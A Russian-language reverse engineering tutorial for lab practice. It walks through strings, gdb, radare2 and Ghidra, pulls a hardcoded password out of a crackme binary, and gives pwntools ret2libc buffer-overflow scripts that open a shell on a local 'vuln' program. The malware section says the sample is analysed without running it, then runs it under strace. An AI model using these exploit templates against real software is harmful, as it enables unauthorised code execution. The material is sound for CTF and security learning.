🔧 ПРАКТИКА REVERSE ENGINEERING
Лабораторная среда
Тебе понадобятся:
Kali Linux (основная машина)
Примеры уязвимых бинарных файлов (можно скачать с crackmes.one или использовать системные утилиты).
Инструменты: gdb, objdump, strings, strace, ltrace, radare2, ghidra, pwntools.
1. СБОР ИНФОРМАЦИИ О БИНАРНОМ ФАЙЛЕ (СТАТИЧЕСКИЙ АНАЛИЗ)
1.1. strings — Извлечение печатных строк
Цель: Посмотреть, какие строки есть в бинарном файле.
bash
strings /bin/ls
strings ./vuln
Что ищем: Пароли, имена файлов, сообщения об ошибках, флаги.
1.2. file — Определение типа файла
bash
file ./vuln
Результат: ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped.
1.3. readelf — Анализ заголовков ELF
Цель: Посмотреть секции, символы, точку входа.
bash
readelf -h ./vuln
readelf -S ./vuln
readelf -s ./vuln
1.4. objdump — Дизассемблирование
Цель: Посмотреть ассемблерный код.
bash
objdump -d ./vuln
objdump -d -M intel ./vuln # Intel-синтаксис
objdump -T ./vuln # Динамические символы
objdump -t ./vuln # Символы
1.5. nm — Список символов
bash
nm ./vuln
Результат: Имена функций и глобальных переменных.
2. ДИНАМИЧЕСКИЙ АНАЛИЗ (ОТЛАДКА)
2.1. strace — Трассировка системных вызовов
Цель: Посмотреть, какие системные вызовы делает программа.
bash
strace ./vuln
strace -e open,read,write ./vuln # Фильтр по вызовам
Результат: Видно, какие файлы открываются, какие сокеты используются.
2.2. ltrace — Трассировка библиотечных вызовов
Цель: Посмотреть, какие функции из библиотек вызываются.
bash
ltrace ./vuln
ltrace -e printf,strcmp ./vuln # Фильтр
Результат: Видно, какие строки передаются в printf, strcmp.
2.3. gdb — GNU Debugger
Цель: Интерактивная отладка, установка точек останова, просмотр регистров и памяти.
Запуск gdb:
bash
gdb ./vuln
Основные команды:
bash
(gdb) info functions # Список функций
(gdb) disassemble main # Дизассемблировать main
(gdb) break main # Точка останова на main
(gdb) run # Запустить программу
(gdb) stepi # Шаг (одна инструкция)
(gdb) nexti # Шаг (перешагнуть вызовы)
(gdb) info registers # Показать регистры
(gdb) x/16x $rsp # Посмотреть 16 слов по адресу RSP
(gdb) x/s 0x555555555040 # Посмотреть строку по адресу
(gdb) continue # Продолжить выполнение
(gdb) quit # Выйти
Пример: Анализ уязвимой программы
Предположим, есть программа, которая запрашивает пароль.
Запусти gdb ./vuln.
Поставь брейк на main или на strcmp:
bash
(gdb) break strcmp
(gdb) run
Введи любой пароль.
Когда остановится на strcmp, посмотри содержимое регистров:
bash
(gdb) info registers
(gdb) x/s $rdi # Первый аргумент (введённый пароль)
(gdb) x/s $rsi # Второй аргумент (правильный пароль)
3. РАДИКАЛЬНЫЙ ПОДХОД: RADARE2
Цель: Мощный фреймворк для RE, альтернатива gdb.
Запуск:
bash
radare2 ./vuln
Основные команды:
bash
[0x00400400]> aaa # Анализ всех функций
[0x00400400]> afl # Список всех функций
[0x00400400]> s main # Перейти к main
[0x00400400]> pdf # Показать дизассемблированный код
[0x00400400]> V! # Визуальный режим
[0x00400400]> / bin # Поиск строки "bin"
[0x00400400]> wf # Записать файл
4. ПРОФЕССИОНАЛЬНЫЙ ИНСТРУМЕНТ: GHIDRA
Цель: Декомпиляция бинарного кода обратно в C-подобный код.
Установка:
bash
sudo apt install ghidra
Запуск:
bash
ghidra
Процесс:
Создай новый проект.
Импортируй бинарный файл (File → Import).
Дважды кликни на файл.
Нажми "Analyze" для анализа.
Посмотри на окно "Decompiler".
Ты увидишь C-подобный код функции main.
5. ПРАКТИЧЕСКИЙ ПРИМЕР: ВЗЛОМ ПРОГРАММЫ С ПАРОЛЕМ
Допустим, у нас есть программа vuln, которая спрашивает пароль.
Задача: Найти пароль без брутфорса.
5.1. strings
bash
strings vuln | grep -i password
strings vuln | grep -i secret
Результат: Может быть строка password123.
5.2. ltrace
bash
ltrace ./vuln
Результат: Видно вызов strcmp(input, "supersecret").
5.3. gdb
bash
gdb ./vuln
(gdb) break strcmp
(gdb) run
(gdb) info registers
(gdb) x/s $rsi
Результат: В $rsi лежит правильный пароль.
5.4. radare2
bash
radare2 ./vuln
> aaa
> s sym.main
> pdf
> / supersecret
Результат: Найдена строка supersecret.
5.5. Ghidra
Открой vuln в Ghidra. Найди функцию main. В декомпиляторе увидишь условие strcmp(local_input, "supersecret").
6. ПЕРЕПОЛНЕНИЕ БУФЕРА (ПРАКТИКА)
Цель: Перезаписать адрес возврата и выполнить шелл-код.
Сценарий: Программа vuln имеет уязвимость gets().
6.1. Проверка наличия уязвимости
bash
gdb ./vuln
(gdb) run
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
Если программа падает с Segmentation fault, есть переполнение.
6.2. Нахождение смещения
Используй pattern_create.rb из Metasploit:
bash
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Вставь полученную строку в программу и посмотри, в каком регистре она оказалась.
Найди смещение:
bash
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41414141
6.3. Создание пейлоада
Найди адрес system() или execve:
bash
info functions
p system
Найди строку /bin/sh в памяти.
Собери пейлоад: [смещение][адрес_system][адрес_выхода][адрес_/bin/sh].
Отправка через Python:
python
from pwn import *
p = process('./vuln')
payload = b'A'*offset + p64(system_addr) + p64(exit_addr) + p64(binsh_addr)
p.sendline(payload)
p.interactive()
7. АНАЛИЗ ВРЕДОНОСНОГО ПО
Цель: Понять, что делает подозрительный файл без его выполнения.
Проверка хеша:
bash
md5sum malware
sha256sum malware
Проверка файла:
bash
file malware
Извлечение строк:
bash
strings malware | head -100
Проверка на упаковку (packing):
bash
upx -l malware
Анализ зависимостей:
bash
ldd malware
Трассировка системных вызовов:
bash
strace -f -e trace=network ./malware
8. АВТОМАТИЗАЦИЯ (PYTHON + PWNTOOLS)
Установка:
bash
pip3 install pwntools
Пример скрипта для переполнения буфера:
python
from pwn import *
context.binary = './vuln'
context.log_level = 'debug'
p = process('./vuln')
offset = 72
system_addr = 0x4005a0
binsh_addr = 0x4006c0
payload = b'A'*offset + p64(system_addr) + b'AAAA' + p64(binsh_addr)
p.sendline(payload)
p.interactive()
9. CTF-ЗАДАЧИ
Лучший способ практики — решение CTF-задач по RE.
Платформы:
crackmes.one — задачи разного уровня.
pwnable.tw — классические CTF.
ropemporium.com — задачи на ROP.
CyberTalents — арабские CTF.
TryHackMe / HackTheBox — есть RE-задачи.
10. ВЫВОДЫ
Reverse Engineering — это системный процесс:
Сбор информации (strings, file, readelf, objdump).
Динамический анализ (strace, ltrace, gdb, radare2, ghidra).
Поиск уязвимостей (переполнение буфера, форматная строка).
Написание эксплойта (Python + pwntools).
Помни: Всегда практикуйся на легальных целях (собственные программы, crackmes, CTF). Не запускай неизвестные бинарники в рабочей системе — используй изолированную среду (VM). Удачи.